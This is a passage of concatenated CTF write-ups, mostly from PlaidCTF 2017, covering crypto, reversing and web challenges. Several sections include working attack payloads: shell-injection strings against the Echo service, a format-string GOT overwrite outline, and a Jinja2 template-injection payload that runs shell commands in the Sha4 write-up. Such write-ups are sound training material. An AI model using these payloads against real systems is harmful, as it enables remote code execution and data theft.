1, -1, 1, -1, -1, 1, -1, -1, -1, -1, -1, 1, -1, -1, 1, 1, -1, 1, -1, 1, 1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, -1, 1, 1, -1, -1, -1, 1, 1, 1, 1, -1, 1, -1, 1, -1, -1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, -1, 1, -1, -1, 1, -1, 1, -1, 1, -1, 1, -1, 1, 1, -1, 1, 1, 1, 1, -1, -1, -1, 1, -1, -1, -1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, 1, 1, -1, 1, 1, -1, -1, 1, -1, 1, 1, -1, -1, -1, 1, -1, 1, 1, 1, -1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, 1, -1, -1, 1, 1, -1, -1, -1, -1, -1, 1, -1, -1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, 1, 1, -1, -1, 1, 1, 1, -1, -1, -1, 1, -1, -1, -1, -1, 1] key_qbits = [agreed_qbits[i * 2 + 1] for i in range(128)] key_bitstring = "".join(['1' if c == 1 else '0' for c in key_qbits]) print(key_bitstring) key = int(key_bitstring, 2) k = long_to_bytes(key) cipher = AES.new(k, AES.MODE_ECB) pt2 = cipher.decrypt(ct2) print(pt2.strip()+pt1.strip())``` I dostajemy flagę: `PCTF{perhaps_secrecy_aint_the_same_thing_as_authentication}`
### no_mo_flo - PlaidCTF 2017 - 125 points - Reverse Engineering **Description - Can you go with the flow?** **Files: [no_flo_f51e2f24345e094cd2080b7b690f69fb](https://github.com/bitsforeveryone/write-ups/blob/master/PlaidCTF-2017/no_mo_flo125/no_flo_f51e2f24345e094cd2080b7b690f69fb)** *Solved by r0d & adambomb* *** Running the binary we see it immediately expects user input. Anything less than 32 characters gives us a "short input" response, otherwise we are told "You aint goin with the flow....". Jumping into IDA we see in main() that there is in fact a 32 character read followed by a 16 iteration loop. The loop creates two arrays, one containing the even characters and the other containing the odd characters. After the arrays are made, a user defined signal is created that jumps to a switch statement. Then the odd array is passed to a function that presumably checks the characters and returns either a 0 or 1. Looking further down we see that we want the function to return a 1 to pass the first check. Finally, the even array is then passed to a different checking function which we also want to return a 1. ![no_flo main()](https://github.com/r0d/Write_Ups/blob/master/PlaidCTF-2017/no_mo_flo-125pts/no_flo_main.png) Ok, so lets jump into the first check. We see that it is initializing r8d to 1 and then jumping through 22 different checks on individual characters. Since the array only has 16 characters we know it can't pass all of them. Looking closer, we see it checks some characters multiple times, but it only needs to pass the ones that don't set r8d to 0. Pulling the checked values out and reversing the operations we get the following string: P\*T\*{\*0\*f\*0\*\_\*0\*l\*k\*\_\*h\*h\*l\*\_\*0\* Taking the flag format into account, we can reasonably assume some of the characters: PCTF{\*0\*f\*0\*\_\*0\*l\*k\*\_\*h\*h\*l\*\_\*0} So now lets look at the function checking the even array. This is a bit more convoluted. Like the first function, it is stepping through the array looking at some characters multiple times. However, instead of simply checking the character, it throws the previously defined signal which calls the checking function. ![signal being thrown](https://github.com/r0d/Write_Ups/blob/master/PlaidCTF-2017/no_mo_flo-125pts/signal_being_thrown.png) Based on the above string, we know that first two characters should evaluate to C and F respectively. Using GDB, we see that when the first and second item in the array are evaluated under case 5 of the switch statement they are compared against a C and and F. So we step through the entire array and fill in the characters evaluated by case 5 to get the following string: PCTF{n0\_fl0\*\_\*0\*l\*k\*\_ah\_h3ll\_n0} The remaining characters are evaluated with a case 1 and a case 3. Stepping through one last time we arrive at the flag: PCTF{n0_fl0?_m0_like_ah_h3ll_n0}
ERROR: type should be string, got "https://github.com/Beers4Flags/writeups/blob/master/2017/picoCTF/Pwn/l4flag/payload.py\nUne faille de type format permet d'exploiter ce binaire. L'exploitation se fait en plusieurs étapes.(Stack[i] correspondant à %i$08x (ce qu'il y a à l'offset i de la pile))\n* On récupère l'adresse de la libc via Stack[2] qui donne __libc_start_main\n* On note que Stack[17] -> Stack[53] et que Stack[53] pointe sur la pile donc d'une part on a l'adresse de la pile, d'autre part on peut mettre ce qu'on veut en Stack[55] et Stack[56] en changeant la partie basse de Stack[53] via %17$hn\nPar cette méthode on fait pointer Stack[55]/Stack[56] vers strchr@GOT et on modifie strchr@GOT vers [email protected] obtient alors un shell facilement"
# PlaidCTF 2017 - Down the Reversing Hole | Category | Points | Solves || -------- |--------| -------|| Misc | 50 | 76 | > Don't forget. This is a MISC challenge. > > [Download](reversing-hole_c344571f488311a2553d2cbac6fa0d35.exe) ## Solution This is a misc challenge with some reversing. We noticed the DOS code section of the binary was not an standard one, so we load the binary as an MS-DOS executable on the disassembler and then we see the xor instruction being applied over two strings, that would be a good indicator of an incoming flag: ```seg000:0000 public startseg000:0000 start proc nearseg000:0000 mov ax, seg dsegseg000:0003 mov ds, axseg000:0005 assume ds:dsegseg000:0005 lea dx, unk_10030 ; "This program cannot be..."seg000:0009 mov ah, 9seg000:000B int 21h ; DOS - PRINT STRINGseg000:000B ; DS:DX -> string terminated by "$"seg000:000D mov cx, 0seg000:0010seg000:0010 loc_10010:seg000:0010 cmp cx, 39h ; '9'seg000:0013 jz short loc_1002Cseg000:0015 lea bx, unk_1005B ; "WWE3>...\x0c\x00..." first stringseg000:0019 add bx, cxseg000:001B mov dl, [bx]seg000:001D lea bx, unk_10094 ; "\x15"1\x13VirQy..." second stringseg000:0021 add bx, cxseg000:0023 xor dl, [bx]seg000:0025 mov ah, 2seg000:0027 int 21h ; DOS - DISPLAY OUTPUTseg000:0027 ; DL = character to send to standard outputseg000:0029 inc cxseg000:002A jmp short loc_10010seg000:002C ; ---------------------------------------------------------------------------seg000:002Cseg000:002C loc_1002C:seg000:002C mov ah, 4Chseg000:002E int 21h ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)seg000:002E start endp ; AL = exit codeseg000:002Eseg000:002E seg000 endsseg000:002E``` The answer is the XOR of the two strings: ```57 57 45 33 3E 0C 00 34 5E 61 62 55 37 65 6E 64 76 02 5720 65 52 62 79 30 27 0A 76 32 16 72 67 66 49 05 10 57 200B 51 19 25 3B 6D 03 64 60 07 30 36 72 6D 48 55 73 3A 0F ^15 22 31 13 56 69 72 51 79 12 42 34 17 03 02 05 11 22 0763 31 14 19 18 44 78 66 45 53 23 06 38 12 21 36 62 64 5354 35 29 15 56 32 73 54 12 73 43 69 42 03 17 31 43 49 72=But here's a flag PCTF{at_l3a5t_th3r3s_d00m_p0rts_0n_d0s}``` ## Flag> PCTF{at_l3a5t_th3r3s_d00m_p0rts_0n_d0s}
# PlaidCTF 2017 - Echo | Category | Points | Solves || -------- |--------| -------|| Web | 200 | 132 | > If you hear enough, you may hear the whispers of a key... > If you see [app.py](echo_57f0dd57961caae2fd8b3c080f0e125b.py) well enough, you will notice the UI sucks... > > http://echo.chal.pwning.xxx:9977/>> http://echo2.chal.pwning.xxx:9977/ ## Solution We are given with an application that converts strings into audio using a Docker container which is [publicly available](https://hub.docker.com/r/lumjjb/echo_container/): ```python docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py" tweets = [] for i in range(4): t = request.args.get('tweet_' + str(i+1)) tweets.append(t) my_path = "/tmp/echo/" + uuid.uuid4().hex + "/" # strings are saved on /tmp/echo/uuid/input with open(my_path + "input" ,"w") as f: f.write('\n'.join(tweets)) # encrypted flag is stored on /tmp/echo/uuid/flag process_flag(my_path + "flag") subprocess.call(docker_cmd.format(path=my_path).split())``` The process_flag function takes the original flag and stores it in the input file using a reversible encryption algorithm: ```python with open('/tmp/echo/uuid/flag','w') as f: for x in flag: c = 0 towrite = '' for i in range(65000 - 1): k = random.randint(0,127) c = c ^ k towrite += chr(k) # 64999 bytes with k states + # 1 byte of a flag char xored with the c state # final size = 65000 * # of chars on the flag f.write(towrite + chr(c ^ ord(x))) return``` A shared folder is being used inside the container to transfer files to and from the main application as seen on the docker_cmd spec. Following you can see the folder mappings: | Host | Guest | Description || ---- | ----- | ----------- || /tmp/echo/uuid/ | /share/ | Share folder pointing to unique path on host || /tmp/echo/uuid/input | /share/input | Tweets || /tmp/echo/uuid/out/ | /share/out/ | Folder used to store audio files || /tmp/echo/uuid/flag | /share/flag | Encrypted flag from process_flag function | The [run.py](run.py) application inside the Docker container is vulnerable to remote command execution: ```python with open('/share/input') as f: lines = f.readlines() i=0 for l in lines: i += 1 l = l.strip() call(["sh","-c", "espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])``` We have now two options to solve the problem: 1. Get the entire flag file using the espeak command, and the automate the data extraction from the wav file.2. Decrypt the flag file directly on the server and get it as an audio file. I first went for the entire flag file extraction and promptly have technical issues, the process_audio function ignores audio with more than 5MB. To get one character from the file we needed to get 65k bytes and convert them into audio, with an hexadecimal codification the final audio was heavier than expected (100MB), so the function ignores the file completely. Finally, the second option was implemented with a friend advice. The following script was used to decrypt the file: ```pythonwith open('/share/flag','rb') as f: while True: b = f.read(65000) if not b: break c=0 for i in range(64999): c = c ^ ord(b[i]) print hex(c ^ ord(b[64999]))[2::]``` The four injected strings were:```bash";echo "with open('/share/flag','rb') as f:\n while True:\n b = f.read(65000)\n if not b:\n break\n c=0\n">/share/out/test;echo "";echo " for i in range(64999):\n c = c ^ ord(b[i])\n print hex(c ^ ord(b[64999]))[2::]\n">>/share/out/test;"";python2 /share/out/test> /share/out/words 2>&1;echo "";espeak -s 150 -g 50 -w /share/out/1.wav -f /share/out/words;echo "``` You can hear the flag from the [first audio file](1.wav). ## Flag> PCTF{L15st3n_T0__reee_reeeeee_reee_la}
As per the title, it was fairly obvious that this was some form of javascript. And I almost didn't recognize it as JSFuck obfuscation. (Who would've thought that a CTF catered to middle-schoolers would be using expletives?) Anyways, I just stuck it into this deobfuscater here: https://enkhee-osiris.github.io/Decoder-JSFuck/ And skimming the text, I saw the flag.
The same flag is encrypted 5 times with RSA small public exponent and linear padding. The generalization of Håstad’s broadcast attack and the Coppersmith method allow to recover the flag.
Writeup at [https://shellweplayaga.me/2017/04/24/Plaid-CTF-2017-Pykemon-Web-151/](https://shellweplayaga.me/2017/04/24/Plaid-CTF-2017-Pykemon-Web-151/).
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/BITSCTF_For_BlackHole_10_Feb17.pdf](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/BITSCTF_For_BlackHole_10_Feb17.pdf)
PlaidCTF 2017 - Echo (web 200) Writeup See this writeup in its original location at [https://neg9.org/news/2017/4/23/plaidctf-2017-echo-web-200-writeup](https://neg9.org/news/2017/4/23/plaidctf-2017-echo-web-200-writeup) This challenge presents a webpage with the text "Tweets are 140 characters only!" and input boxes for four tweets. Submitting tweets gives you a page with wav files, one per tweet that contains a text to speech version of the tweet. The source code for the web front-end was provided. Examining it, you see that the tweets are written to a file: ``` with open(my_path + "input" ,"w") as f: f.write('\n'.join(tweets))``` Also, a flag is expanded and written to a file. This creates a large file (65000b per character of the flag) that needs to be acquired completely to get the flag. ```def process_flag (outfile): with open(outfile,'w') as f: for x in flag: c = 0 towrite = '' for i in range(65000 - 1): k = random.randint(0,127) c = c ^ k towrite += chr(k) f.write(towrite + chr(c ^ ord(x))) return``` Both of these files are passed to a docker container: ```docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"... subprocess.call(docker_cmd.format(path=my_path).split())``` Finally, the dockerized process must generate the wav files, because they're then converted back in our python code: ```convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"... for i in range(n): st = os.stat(path + str(i+1) + ".wav") if st.st_size < 5242880: subprocess.call (convert_cmd.format(in_path=path + str(i+1) + ".wav", out_path=target_path + str(i+1) + ".wav").split())``` So, first step is to get the run.py that is executed in docker. I chose to extract it from the image without actually creating a container. I'm not very well-versed in Docker, so there may be an easier way to do this: ```docker pull lumjjb/echo_containerdocker save lumjjb/echo_container > echo.tartar xvf echo.tarfor l in */layer.tar ; do echo $l ; tar tvf $l ; done | lesstar xvf 8f*/layer.tar run.py``` That gives us: ```import sysfrom subprocess import call import signalimport osdef handler(signum, frame): os._exit(-1) signal.signal(signal.SIGALRM, handler)signal.alarm(30) INPUT_FILE="/share/input"OUTPUT_PATH="/share/out/" def just_saying (fname): with open(fname) as f: lines = f.readlines() i=0 for l in lines: i += 1 if i == 5: break l = l.strip() # Do TTS into mp3 file into output path call(["sh","-c", "espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])``` A quick glance at that shows that it's vulnerable to shell injection in the call to espeak. Submitting a tweet with of `` `pwd` `` (using backticks) returns an audio of "slash", confirming. Since the audio is converted by ffmpeg, we can't just cat the flag file into the output wav files. Instead, I chose to reconstruct the flag within the docker image. After confirming that the docker environment had Perl available, I was off to do some golfing, eventually working up to: `perl -e 'local$/;$a=<>;$f[$_/65000]^=ord(substr($a,$_,1))for(0..length($a)-1);print join"-",@f' share/flag` This one-liner reconstructs the flag and prints the decimal ASCII values of each character. Manually transcribed from the audio, it gives: `80-67-84-70-123-76-49-53-115-116-51-110-95-84-48-95-95-114-101-101-101-95-114-101-101-101-101-101-101-95-114-101-101-101-95-108-97-125` which decodes to: `PCTF{L15st3n_T0__reee_reeeeee_reee_la}`
# Pykemon (web, 151p) ## ENG[PL](#pl-version) We get access to a simple [Python Flask webapp](pykemon.zip).The application displays on the screen some pokemon and a flag among them.We can click on them to "catch". By looking in the source code of the application we can see that it's actually impossible to catch a flag, since it's "rarity" has value 0.We instantly noticed that the cookie for this page was really big, and was changing with the state of the game changes.This suggested to us that the game state might be stored there.Checking in the source code proved this is true. More importantly this meant also the pokemon "descriptions" were there, including the flag!It actually turned out to be an unintended solution to the task, because the author did not know that decoding Flask cookie is trivial.The inteded solution was a template injection in the pokemon nickname.We noticed that there was some vulnerability there, which we initially considered some stored XSS at most, but since we found the cookie, we went this way. So we basically take the cookie, decode it and read the flag value from the game state: ```pythonimport base64import zlibfrom flask import jsonfrom itsdangerous import base64_decode, base64_encode def decode(cookie): compressed = False payload = cookie if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data.decode("utf-8") def main(): session = ".eJy9V11zojAU_Ss7PPsAUdriTB82bQE7lY648pGdzg4kLFECMiJFdPrf96L9sFbbfdC-kXvzdc49OQkrKQyEKKSuIrckGpQxn0vdlZTXSZROM6n7--GpJc2m0_R9dCWxqKCzcT4fN-2V9COUutLIFDJDF3Hg9WN_iAeRO-ehq5U9w6qJq8vEHcR-lsQEOSXx7Nyv8dx31ZyaTuFDO0SdSwnW47nUVdWWlAVptDv5ukM2psnBZD5mu3HFGlyuc7NgNp7XG7RFDt9vUwSuwmFjy7s2VpnJHu8yXJKqGfbUOj3cDjoiXLkfnwLujTWys_l937T_Wrq2DK71MnI0yzLoIljaNTXlVzhteQeOnSywXV3uh7Od3Iazji_71TaUT5AgUvguLamhZt9TtLOLIxYN3f88QdEcxEU4xnJgiGVPx2qA9DlAiCkSJWn3i54h5J6hCpY6dc_EnHmWoDWWwxqPaepwZnBx96ymNWTlI-SMoEXDT0riAwXe12mHgrf8xF9s06B-TgNBrAg8rJDU_4_KQwV5r6HCsAAqVLPtwLcoe6Y9JUMsItMGFSjibox1oATibBq4C7GhqRmnL0PDEfSqAgWBUpBW0rbNw8wuoiGGnVigIBX63ao9Q3lkKdBc45yZ_RjUVQO1nKaaEqaD8oVStM_pmo0eVNFLcldFTbw_Gb1TkfaFigxd9odqFab0G1Wk7jk4x1bRqHMSFR2bivOz01NB0ckO1NGu-_OjXvfVKazU4DlUcgsm59AW4AcTZt7mPhJyNFSWzNDqwFUzqP4jc60pAXoahQSe3fjOlLjOjNadGOYTFI1i38NV4w3gQY_gGwI8Zd540du8ehGaCXgNrJcyQa5wwrzbHI5s3KgJ1JYTxOVXr9qochKYI1DlQhAPL7cVp-2heubDRtngsNreddihfJP7lbS3Ke98TvnzBr9RYRfaERXWuT_RgzIBxcw2N81NHLlOERpae9tnoOKcXeGagK-E7m1BNtQ8j9NqUFBODSfx3SqmxoIzU1TM67_R0PlIw3rwIRpekzs0rOP314N3NJx94S2mMwnq19vmofXyS_GHTssM_jwUeAbPmnXkp6d__PP4oA.C90P4g.yJA29lcU7LN3k40oLYnA6cN9r8M" session_decoded = decode(session) print(session_decoded) loaded = json.loads(session_decoded) room = loaded['room'] pykemons = room['pykemon'] for pykemon in pykemons: desc = pykemon['description'] print(base64.b64decode(desc.items()[0][1])) main()``` And we find: `PCTF{N0t_4_sh1ny_M4g1k4rp}` ## PL version Dostajemy dostęp do prostej [Pythonowej aplikacji we Flasku](pykemon.zip).Aplikacja wyświetla na ekranie pokemony oraz flagę.Możemy klikać na nie żeby je "złapać". Z kodu źródłowego wynika, że nie da się złapać flagi ponieważ ma "rarity" ustawione na 0.Szybko zauważyliśmy, że cookie na tej stronie było bardzo duże i zmieniało się wraz ze zmiane stanu gry.To sugerowało że stan gry może być tam przechowywany.Sprawdzenie kodu źródłowego dowodziło że faktycznie tak jest. Co więcej znajduje się tam tez pole "description" które zawiera flagę!Okazało się później, że ta metoda była zupełnie niezamierzona i autor zadania nie wiedział ze cookie Flaska łatwo zdekodować.Oczekiwane rozwiązanie polegało na template injection w nickname pokemona.Zauważliśmy też podatność w nickname, chociaż początkowo uznaliśmy ją za stored XSS, ale widząc cookie uznaliśmy, że pójdziemy w tym kierunku. Zdekodowaliśmy więc cookie ze stanem gry: ```pythonimport base64import zlibfrom flask import jsonfrom itsdangerous import base64_decode, base64_encode def decode(cookie): compressed = False payload = cookie if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data.decode("utf-8") def main(): session = ".eJy9V11zojAU_Ss7PPsAUdriTB82bQE7lY648pGdzg4kLFECMiJFdPrf96L9sFbbfdC-kXvzdc49OQkrKQyEKKSuIrckGpQxn0vdlZTXSZROM6n7--GpJc2m0_R9dCWxqKCzcT4fN-2V9COUutLIFDJDF3Hg9WN_iAeRO-ehq5U9w6qJq8vEHcR-lsQEOSXx7Nyv8dx31ZyaTuFDO0SdSwnW47nUVdWWlAVptDv5ukM2psnBZD5mu3HFGlyuc7NgNp7XG7RFDt9vUwSuwmFjy7s2VpnJHu8yXJKqGfbUOj3cDjoiXLkfnwLujTWys_l937T_Wrq2DK71MnI0yzLoIljaNTXlVzhteQeOnSywXV3uh7Od3Iazji_71TaUT5AgUvguLamhZt9TtLOLIxYN3f88QdEcxEU4xnJgiGVPx2qA9DlAiCkSJWn3i54h5J6hCpY6dc_EnHmWoDWWwxqPaepwZnBx96ymNWTlI-SMoEXDT0riAwXe12mHgrf8xF9s06B-TgNBrAg8rJDU_4_KQwV5r6HCsAAqVLPtwLcoe6Y9JUMsItMGFSjibox1oATibBq4C7GhqRmnL0PDEfSqAgWBUpBW0rbNw8wuoiGGnVigIBX63ao9Q3lkKdBc45yZ_RjUVQO1nKaaEqaD8oVStM_pmo0eVNFLcldFTbw_Gb1TkfaFigxd9odqFab0G1Wk7jk4x1bRqHMSFR2bivOz01NB0ckO1NGu-_OjXvfVKazU4DlUcgsm59AW4AcTZt7mPhJyNFSWzNDqwFUzqP4jc60pAXoahQSe3fjOlLjOjNadGOYTFI1i38NV4w3gQY_gGwI8Zd540du8ehGaCXgNrJcyQa5wwrzbHI5s3KgJ1JYTxOVXr9qochKYI1DlQhAPL7cVp-2heubDRtngsNreddihfJP7lbS3Ke98TvnzBr9RYRfaERXWuT_RgzIBxcw2N81NHLlOERpae9tnoOKcXeGagK-E7m1BNtQ8j9NqUFBODSfx3SqmxoIzU1TM67_R0PlIw3rwIRpekzs0rOP314N3NJx94S2mMwnq19vmofXyS_GHTssM_jwUeAbPmnXkp6d__PP4oA.C90P4g.yJA29lcU7LN3k40oLYnA6cN9r8M" session_decoded = decode(session) print(session_decoded) loaded = json.loads(session_decoded) room = loaded['room'] pykemons = room['pykemon'] for pykemon in pykemons: desc = pykemon['description'] print(base64.b64decode(desc.items()[0][1])) main()``` A tam znaleźliśmy: `PCTF{N0t_4_sh1ny_M4g1k4rp}`
Legit reversing - only brute force 2^16 with known condition [writeup](https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/reverse/MIPS/MIPS.html)
First round need receive and sand hash with salt:```#!/usr/bin/pythonfrom pwn import *import hashlibimport Crypto.Hashfrom Crypto.Hash import * host = '35.165.205.141'port = 5050 # Parse response for round 1 and round 2def parse(data): data = data.split(', ') parsed = {} for item in data: item = list(item.partition(': ')) item.remove(': ') parsed.update({item[0].strip(): item[1].strip()}) return parsed def findFunc(func_name): if func_name == 'rmd160': return Crypto.Hash.RIPEMD.RIPEMD160Hash try: func = getattr(hashlib, func_name) return func except AttributeError: try: func = getattr(Crypto.Hash, func_name.upper()) return func except: print('Error! Function %s not found' % func_name) def round1(r): while True: data = r.readline().strip() print(data) if 'Round 2' in data: return 2 parsed = parse(data) func = findFunc(parsed['Type']) answer = func(parsed['Pre-salt'] + parsed['Password'] + parsed['Post-salt']).hexdigest() print('Answer: %s' % answer) r.sendline(answer) print(r.readline().strip())```And run it:```r = remote(host, port)r.readline()Round = 1r.readline()Round = round1(r)``` Next round need found "Film name" or "Director" or "Year". I used the imdbpy-5.1 library to do this:```from imdb import IMDb def round2(r): ia = IMDb('http') while True: data = r.readline().strip() print(data) if 'Final Round:' in data: return 3 parsed = parse(data) answer = '' if parsed['Director'] == '??': movies = ia.search_movie(parsed['Name']) for item in movies: if item['year'] == int(parsed['Year']): movie = ia.get_movie(item.getID()) answer = movie['director'][0]['name'] break elif parsed['Year'] == '??': movies = ia.search_movie(parsed['Name']) for item in movies: movie = ia.get_movie(item.getID()) for director in movie['director']: if director['name'] == parsed['Director']: answer = str(item['year']) if answer: break else: persons = ia.search_person(parsed['Director']) for person in persons: movies = person.data['director'] for movie in movies: if movie['year'] == int(parsed['Year']): answer = movie['title'] if answer: break # time.sleep(1) print('Answer: %s' % answer) r.sendline(answer) print(r.readline().strip())```Run it:```Round = round2(r)``` In the last round, you just need to calculate the value of the expression:```def round3(r): while True: data = r.readline().strip() print(data) e = data.replace('What is ', '').replace(' ?', '') answer = str(eval(e)) print('Answer: %s' % answer) r.sendline(answer) print(r.readline().strip())```Finaly run script:```r = remote(host, port)r.readline()Round = 1r.readline()Round = round1(r)Round = round2(r)Round = round3(r)print(r.readline().strip())```
# Sha4 (web, 300pts, 16 solves) > tl;dr> local file read, race condition, hash collision, template injection ![scr1](scr1.png) Start off by noticing that we have a local file read via the second form: ![scr2](scr2.png) Lets find out where the application root is: `etc/apache2/sites-enabled/000-default.conf` ```<VirtualHost *:80> ServerName sha4 WSGIDaemonProcess sha4 user=www-data group=www-data threads=8 request-timeout=10 WSGIScriptAlias / /var/www/sha4/sha4.wsgi <directory /var/www/sha4> WSGIProcessGroup sha4 WSGIApplicationGroup %{GLOBAL} WSGIScriptReloading On Order deny,allow Allow from all </directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>``` Great! [file:////var/www/sha4/server.py](server.py) [file:////var/www/sha4/sha4.py](sha4.py) ``` python out_text = str(decode(ber)) open(f, "w").write(out_text) if is_unsafe(out_text): return render_template_string(unsafe) commentt = comment % open(f).read() return render_template_string(commentt, comment=out_text.replace("\n",""))``` Is vulnerable to race condition and template injection.We can first send a valid input that passes the `is_unsafe` check and then a malicious input that injects the template.The contents of the file will be overwritten for the first execution so it will actually evaluate the malicious payload. But in order to do that we need 2 different inputs that produce the same `hash`: ``` pythondef hash(x): h0 = "SHA4_IS_" h1 = "DA_BEST!" keys = unpad(x) for key in keys: h0 = DES.new(key).encrypt(h0) h1 = DES.new(key).encrypt(h1) return h0+h1``` `unpad` function works as expected, it takes 7 8-bit bytes and output 8 7-bit bytes, pic rel: ![scr3](scr3.png) DES.encrypt was the problem. DES, although takes 8 bytes as key, is not using all 64 bits, but only 56.It ignores lsb of each byte.This means we can actually get identical encryption results as long as the key differs only on lsb.So we could perform bitflips to bypass the whitelist with one of the payloads, while the other payload with malicious injection would have the same hash. After generating a valid input pair we simply smash them agains the server and hope to get the flag via usual template injection: ```python{{3*3*3*3}}{% set loadedClasses = " ".__class__.__mro__[2].__subclasses__() %}{% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == "catch_warnings".strip() %} {% set builtinsReference = loadedClass()._module.__builtins__ %} {% set os = builtinsReference["__import__".strip()]("subprocess".strip()) %} {{ os.check_output("cat sha4/flag_bilaabluagbiluariglublaireugrpoop".strip(), shell=True) }} {% endif %}{% endfor %}``` [full script](script.py) Which gives `PCTF{th3 security aspect of cyber is very very tough}`
The flag is encrypted with ElGamal and an additional layer of custom fully-homomorphic encryption. We can recover the FHE key under known-message attack by solving a linear system. The group used for ElGamal is weak (its order has small prime factors), so we can compute a discrete logarithm to recover the secret exponent and decrypt the flag.
# Public Key Infrastructure This is a short writeup on solving the 'Public Key Infrastructure' challenge from the CONfidence teaser CTF by DragonSector. ## The Challenge We are given an address of a service that runs some [code](task.py) written in python. This code implements a service with two functionalities: `register` and `login` which maps to `sign` and `verify`.The user may ask to sign any name except _admin_ and get some signature. Then, a user can ask to login, providing the username and a signature to get some response from the system. From the code above, the objective of the challenge is to pass the `verify` function on the _admin_ name and thus get the flag from the `login` function. ## The Dawn Of DSA Going over the code, this looks like some signing algorithm which signs/verifies user's messages. A quick search comes up with a very similar algorithm: [DSA](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm). Comparing DSA outline in wikipedia and the challenges' code, we see the following differences/peculiarities: * `r,s` in the signature mustn't be zero in DSA, yet in the challenge they might be* `n`, which does not exist in DSA, is used in the **beginning** of strings in the `makeK` and `makeMsg` functions* `k` must be **random** per message, however it's computed with a hash function (deterministic)* the hash function used for computing k - md5 - is insecure* the message can be signed locally (no nonce/salt in the username hash)* the signature `(r,s)` is encoded as ${(s + r*Q)^e mod\ n}$ where $e = 2^{16} + 1$ ## Things That Didn't Work The first implementation mistake seems very promising. Since we provide the signature to verify, it is very easy to pass a signature such that `r == 0`. Working the equations in the `verify` process, we get that:$$u2 \equiv r * w = 0$$$$v \equiv (G^{u1} * PUBLIC^{u2}) mod\ P\ mod\ Q \equiv G^{u1} * 1 mod\ P\ mod\ Q$$Which completely eliminates the public/private component in the system. So, in order to solve the challenge, all we need is to find a $u1$ and an integer $\alpha$ such that $Q$ divides $g^{u1}-\alpha * P$ so the comparison of `v` and `r` holds true ($v = G^{u1}\ mod\ P\ mod\ Q \equiv 0 = r$). Unfortunately, finding this value is computationaly **hard**. We suspect it is equivalent to the discrete logarithm problem. Just to make sure, we wrote a small brute-force and let it run, but it didn't return any results. We also thought maybe put 'name: admin' as part of `n`, and trick the server to sign a request the will hold for `name = 'admin'`, but it was impossible. ## Back On Track Looking at the other implementation problems, we started wondering what happens if we generate the same `k` for different messages. Some digging online resulted with a short blog describing a [very simple attack](https://rdist.root.org/2010/11/19/dsa-requirements-for-random-k-value/).To implement this attack, we need the following:* two messages - `m1,m2` such that `h(m1) != h(m2)` yet `k(m1) == k(m2)`* getting the hash, `s` and `r` of each of the messages If we have all that, we can compute k as following:$$k = ({h(m1) - h(m2)) * (s(m1) - s(m2))^{-1}\ mod\ Q}$$and than, get the private key from the following formula:$$PRIVATE = ((s(m1) * k) - h(m1)) * r^{-1}\ mod\ Q$$ After getting the private key, we can sign any message (since we know how to generate the hash for a message).Note that even though we don't get the SECRET using this message, it doesn't matter because the only requirement from K is to be random and it's generation method is not used anywhere in the original algorithm. ## Hashes In Colide The first step in our plan is to create a hash collision on `k` for two different messages.Looking at the code, we see: ```pythonk = int(hashlib.md5('K = {n: ' + n + ', name: ' + name + ', secret: ' + SECRET + '}').hexdigest(), 16)```We have no limitiations on `n`, so we can genearate an MD5 collision on `'K = {n: ' + n ` using [fastcoll](https://github.com/upbit/clone-fastcoll). Due to the [Merkle-Damgard construction](https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction) of MD5, if the prefixes collide, adding the same suffix to both messages will also result in collision. Thus, the `SECRET` and limitations on `name` don't really bother us. ## Getting The Signature Here we find ourselves in an uncharted territory. The register function returns ${(s + r*Q)^e mod\ n}$ where $e = 2^{16} + 1$ and we need to get the original `s,r`. The solution was quite ineteresting. We can extend `n` as much as we want. Padding `n` with `\x00` bytes is, in-fact, multiplying `n` by $256$. We note that $x\ mod\ nm\ mod\ m \equiv x\ mod\ m$ for any $n,m$.So we pad our collision with enough `\x00` that eventually $2^{320} = 16^{40}$ divides $n$ (why 320? because $Q$ is 160 bit, thus $s + r*Q$ is at most $160*2$ bit) Then, we send a _register_ request with some name and our `n`. Now, denote $sig := s + r*Q$, so the result is $sig^{e} mod\ n$. According to the fact above follows: $sig^{e} mod\ n\ mod\ 2^{320} = sig^{e} mod\ 2^{320}$. We compute $d \equiv e^{-1} mod\ \varphi (2^{320})$ (therefore exists $t$ such that $e*d - 1 = t * \varphi(2^{320})$). According to [Euler's Theorem](https://en.wikipedia.org/wiki/Euler%27s_theorem) if $sig$ is odd ($sig,2^{320}$ are co-prime) then $$(sig^{e})^{d} \equiv sig^{e*d} \equiv sig * sig^{e*d - 1} \equiv sig * sig^{t * \varphi(2^{320})} \equiv sig * (sig^{\varphi(2^{320})})^t \equiv sig * 1^t \equiv sig $$. And this is how we can extract the original $sig$. If $sig$ is not odd, this fails miserably and $(sig^{e})^{d}$ will result in 0, giving us a good indication wether we 